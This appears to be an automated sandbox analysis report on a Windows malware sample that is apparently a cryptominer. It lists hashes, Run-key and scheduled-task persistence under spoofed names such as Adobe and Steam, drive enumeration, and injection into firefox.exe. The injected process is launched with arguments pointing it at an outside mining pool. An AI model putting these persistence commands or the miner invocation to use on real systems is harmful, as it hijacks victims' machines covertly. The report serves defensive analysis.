Analysis
-
max time kernel
150s -
max time network
148s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
13-05-2021 12:55
Static task
static1
Behavioral task
behavioral1
Sample
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe
Resource
win7v20210408
Behavioral task
behavioral2
Sample
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe
Resource
win10v20210410
General
-
Target
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe
-
Size
2.6MB
-
MD5
b9778cfed374bca17cb377d2013f7354
-
SHA1
97f509d17326ef9be6392cd103b64b469bef6a68
-
SHA256
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589
-
SHA512
f5ec5cdccb1658f0ad9c783ae502e42a5af0e43a42201a8cafdfa452266e06d978781fc0aebce332b5acbbab7031bf15b2882497f454502e59e932fae730a6ff
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
Processes:
plugin-container.exepid process 1464 plugin-container.exe -
Modifies Installed Components in the registry 2 TTPs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 16 IoCs
Processes:
plugin-container.exee90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ccUpdMgr = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ccUpdMgr.exe\"" plugin-container.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce plugin-container.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Intel(R) Common User Interface = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\uk\\LC_MESSAGES\\igfxpers.exe\"" plugin-container.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AdobeARM.exe\"" e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run plugin-container.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\ccUpdMgr = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\ccUpdMgr.exe\"" e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Intel(R) Common User Interface = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\uk\\LC_MESSAGES\\igfxpers.exe\"" e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Adobe Reader and Acrobat Manager = "\"C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AdobeARM.exe\"" plugin-container.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run plugin-container.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\IDT PC Audio = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\nb\\sttray64.exe\"" plugin-container.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\IDT PC Audio = "\"C:\\Program Files\\VideoLAN\\VLC\\locale\\nb\\sttray64.exe\"" e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce plugin-container.exe -
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
plugin-container.exedescription ioc process File opened (read-only) \??\g: plugin-container.exe File opened (read-only) \??\h: plugin-container.exe File opened (read-only) \??\k: plugin-container.exe File opened (read-only) \??\n: plugin-container.exe File opened (read-only) \??\o: plugin-container.exe File opened (read-only) \??\p: plugin-container.exe File opened (read-only) \??\r: plugin-container.exe File opened (read-only) \??\e: plugin-container.exe File opened (read-only) \??\w: plugin-container.exe File opened (read-only) \??\x: plugin-container.exe File opened (read-only) \??\z: plugin-container.exe File opened (read-only) \??\s: plugin-container.exe File opened (read-only) \??\l: plugin-container.exe File opened (read-only) \??\u: plugin-container.exe File opened (read-only) \??\b: plugin-container.exe File opened (read-only) \??\q: plugin-container.exe File opened (read-only) \??\y: plugin-container.exe File opened (read-only) \??\a: plugin-container.exe File opened (read-only) \??\i: plugin-container.exe File opened (read-only) \??\j: plugin-container.exe File opened (read-only) \??\m: plugin-container.exe File opened (read-only) \??\t: plugin-container.exe File opened (read-only) \??\v: plugin-container.exe File opened (read-only) \??\f: plugin-container.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
plugin-container.exedescription pid process target process PID 1464 set thread context of 2500 1464 plugin-container.exe firefox.exe -
Drops file in Program Files directory 36 IoCs
Processes:
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exeplugin-container.exedescription ioc process File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\~znhsihk.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\~bgonvos.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe plugin-container.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\~kzexnrl.tmp plugin-container.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe plugin-container.exe File opened for modification C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\~qpakbdo.tmp plugin-container.exe File created C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exe plugin-container.exe File opened for modification C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exe plugin-container.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\~keotxey.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File created C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\Voices\beeps\~fgimagp.tmp plugin-container.exe File opened for modification C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\~npfihyt.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe plugin-container.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\~bypikug.tmp plugin-container.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File created C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\~jooikoa.tmp plugin-container.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1611.10393.0_x64__8wekyb3d8bbwe\Assets\Voices\beeps\~ooweebj.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\~xybliul.tmp plugin-container.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_2017.130.1208.0_neutral_~_8wekyb3d8bbwe\AppxMetadata\~ngqzmxl.tmp plugin-container.exe File opened for modification C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe plugin-container.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\~rlixonm.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File created C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe plugin-container.exe File created C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe plugin-container.exe File created C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\~elmvuia.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\WindowsApps\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\~phjalyn.tmp e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe File opened for modification C:\Program Files\Microsoft Office\root\Licenses16\~xlrikcm.tmp plugin-container.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe plugin-container.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe plugin-container.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exepid process 3732 schtasks.exe 2472 schtasks.exe 2128 schtasks.exe 2916 schtasks.exe 1572 schtasks.exe 2732 schtasks.exe 2288 schtasks.exe 3408 schtasks.exe 2304 schtasks.exe 1584 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exeplugin-container.exepid process 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe 1464 plugin-container.exe -
Suspicious use of WriteProcessMemory 38 IoCs
Processes:
e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exeplugin-container.exedescription pid process target process PID 3212 wrote to memory of 1504 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 1504 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 3944 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 3944 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 3736 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 3736 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe cmd.exe PID 3212 wrote to memory of 3732 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 3732 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 1572 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 1572 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2732 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2732 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2288 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2288 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2472 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 2472 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe schtasks.exe PID 3212 wrote to memory of 1464 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe plugin-container.exe PID 3212 wrote to memory of 1464 3212 e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe plugin-container.exe PID 1464 wrote to memory of 196 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 196 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 2616 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 2616 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 2040 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 2040 1464 plugin-container.exe cmd.exe PID 1464 wrote to memory of 3408 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 3408 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2128 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2128 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2304 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2304 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 1584 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 1584 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2916 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2916 1464 plugin-container.exe schtasks.exe PID 1464 wrote to memory of 2500 1464 plugin-container.exe firefox.exe PID 1464 wrote to memory of 2500 1464 plugin-container.exe firefox.exe PID 1464 wrote to memory of 2500 1464 plugin-container.exe firefox.exe PID 1464 wrote to memory of 2500 1464 plugin-container.exe firefox.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe"C:\Users\Admin\AppData\Local\Temp\e90981b9b7785da5ad7d0322a45c1cbbc2592aa404ffa51d97b12a950b030589.exe"1⤵
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *2⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 21 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe\""2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 7 /TN "IDT PC Audio" /TR "\"C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe\""2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 34 /TN "ccUpdMgr" /TR "\"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exe\""2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 13 /TN "Intel(R) Common User Interface" /TR "\"C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe\""2⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Steam Client Bootstrapper" /TR "\"C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe\""2⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exeC:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe2⤵
- Executes dropped EXE
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /C DIR /A:D /S /B *3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 14 /TN "Adobe Reader and Acrobat Manager" /TR "\"C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 28 /TN "IDT PC Audio" /TR "\"C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 33 /TN "ccUpdMgr" /TR "\"C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /RL HIGHEST /SC MINUTE /MO 14 /TN "Intel(R) Common User Interface" /TR "\"C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exe\""3⤵
- Creates scheduled task(s)
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /CREATE /F /SC ONLOGON /TN "Steam Client Bootstrapper" /TR "\"C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exe\""3⤵
- Creates scheduled task(s)
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -u node.bot6 -p x -o http://ypool.net:8081 -t 2 -m5123⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Common Files\microsoft shared\OFFICE16\Office Setup Controller\BtvStack.exeMD5
b6fc63bfb67355692b1cc3e84d7f8c8d
SHA1af2c63597ce6ebad9294995ce4f2f287694299f9
SHA256938b1091bc237d3b6ec960a1f69bd80679d1e528a38ec9424aebbefac1076046
SHA51248deb2b110deadf8abe93a78c5cd1bc61bd961cbf453de7e7e3053c40367613e0025afd83b867a3f2d141a62abfc4ab479c64c23cabcad3db96af31a4ffb0dca
-
C:\Program Files\Microsoft Office\root\Licenses16\AdobeARM.exeMD5
55161f76e2338a37f213a94b041bfae3
SHA1e9d190899ac2ab70005f8081e52a4c6b394f4a63
SHA2561bbcaeeebf00261f98685cac17e17a01ef98b86502d7334351f04b5f88e81874
SHA5122a74a00bcf236f01038f9299c8d5d1cfea3be7037780155c82de199726943fca01658710a8311ff379da0ec4509fdf02c4df20fffdfa560b673c8822cf369b05
-
C:\Program Files\Microsoft Office\root\Office16\MSIPC\no\Steam.exeMD5
0a4e4714c893abcf684c72ce6a392843
SHA15ef6829f0a5a6edf0c0f30457b3f87c33289f757
SHA256969224336d8aca8bdd1651a7691d41bfd4212a8afded83869c21cb06d163043d
SHA51265e87c5968b9c30af66c623b2b17ac93ca743c7028c2829e4aa85a7734b420b014abaaa283e57ca234593fb8370932ae3fe319cef5116b4e38f2c5578bf5ce2e
-
C:\Program Files\VideoLAN\VLC\locale\nb\sttray64.exeMD5
249217fe08ff21088f5a631a4b7490b0
SHA1b8409f1456ccaf5f0f87ad5509d9668e20847c36
SHA256fbe9de04e88486829060e6b627e254ed65f9406390f258459283c8a062023d96
SHA512653ff8ed878e2025dfaa411672039c2d474cbd0bb44017d5bcdaab017b6dd5b2d9a733e68dbd32d0be58d2f962dcfdd9b36f485f8ebf1f99b273edc912f114f9
-
C:\Program Files\VideoLAN\VLC\locale\uk\LC_MESSAGES\igfxpers.exeMD5
d3f45667a7c66c1409f62aa5536143ed
SHA1226e6e8052b06d56e47adef20cbaa322d978fc64
SHA25675d04e017e419a4bd32f803c542c44960f5da9481187d307d1a12310b66d95aa
SHA512dcfc1b3fbb975d67e73a0e8f4c5f0fdbfbaf53c461501a3e7ce0279f3426a1100715ec4d17a3edd21c17a367f0687c265ba353e7077092195a9e4042f18c3c6a
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\plugin-container.exeMD5
426877c92ad7186ae37b79fca925d58a
SHA147ebf360fbf877f2cf8b34cc8c1f208e3d2a3a6c
SHA2566744256e18aadd2a0ad0944702e977d59f3ab24a238b2f8850a04d4126fd4e6f
SHA512ccc958818741a574b6e13007f9451cdf46908b34a17a82f47c229e9aa41331a8847854e137591c9e8b17af0742a832861d9fa641cf8af1546b7b05120658ed28
-
C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ccUpdMgr.exeMD5
ce45475306bbef9c4061257e4e44a19d
SHA1bc8b1e9d75c13b767b3aaeee6512a9bfbcc6b12f
SHA256384f102414257f5816070e6ac4a2305b70a45abe42eadef6ca8b8e94922d0b99
SHA5129d07c370981e3f384446ca771a1a74cbaed5b3fba5c5b7555832d3eecef93f561026ccbfe89b6995eed77008651f84b5b9819f77afb23e699068878119fda60b
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exeMD5
b384766e1f716c96ed92cfa5c54e9009
SHA1cd8266d4bb5048b0a57f3c9f28aff70af6741707
SHA256f2036c4d663cbcb1a112ff1707f00b0e5bea23ba1cfe6f5c51a207c998119812
SHA51232a550d42d7d8fe7e3efe2fc8a08d0fcea940987769e089f4dac7602e5dbb66f9640962c7021c71af43aa4d17d7602bbd495941f735efb9713840605c7f84546
-
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exeMD5
b384766e1f716c96ed92cfa5c54e9009
SHA1cd8266d4bb5048b0a57f3c9f28aff70af6741707
SHA256f2036c4d663cbcb1a112ff1707f00b0e5bea23ba1cfe6f5c51a207c998119812
SHA51232a550d42d7d8fe7e3efe2fc8a08d0fcea940987769e089f4dac7602e5dbb66f9640962c7021c71af43aa4d17d7602bbd495941f735efb9713840605c7f84546
-
memory/196-128-0x0000000000000000-mapping.dmp
-
memory/1464-123-0x0000000000000000-mapping.dmp
-
memory/1504-115-0x0000000000000000-mapping.dmp
-
memory/1572-119-0x0000000000000000-mapping.dmp
-
memory/1584-138-0x0000000000000000-mapping.dmp
-
memory/2040-130-0x0000000000000000-mapping.dmp
-
memory/2128-134-0x0000000000000000-mapping.dmp
-
memory/2288-121-0x0000000000000000-mapping.dmp
-
memory/2304-136-0x0000000000000000-mapping.dmp
-
memory/2472-122-0x0000000000000000-mapping.dmp
-
memory/2500-142-0x000002238ECB0000-0x000002238ECF7000-memory.dmpFilesize
284KB
-
memory/2500-143-0x000002238ECBBC40-mapping.dmp
-
memory/2500-146-0x000002238ECB0000-0x000002238ECF7000-memory.dmpFilesize
284KB
-
memory/2616-129-0x0000000000000000-mapping.dmp
-
memory/2732-120-0x0000000000000000-mapping.dmp
-
memory/2916-140-0x0000000000000000-mapping.dmp
-
memory/3212-114-0x0000000000990000-0x0000000000991000-memory.dmpFilesize
4KB
-
memory/3408-132-0x0000000000000000-mapping.dmp
-
memory/3732-118-0x0000000000000000-mapping.dmp
-
memory/3736-117-0x0000000000000000-mapping.dmp
-
memory/3944-116-0x0000000000000000-mapping.dmp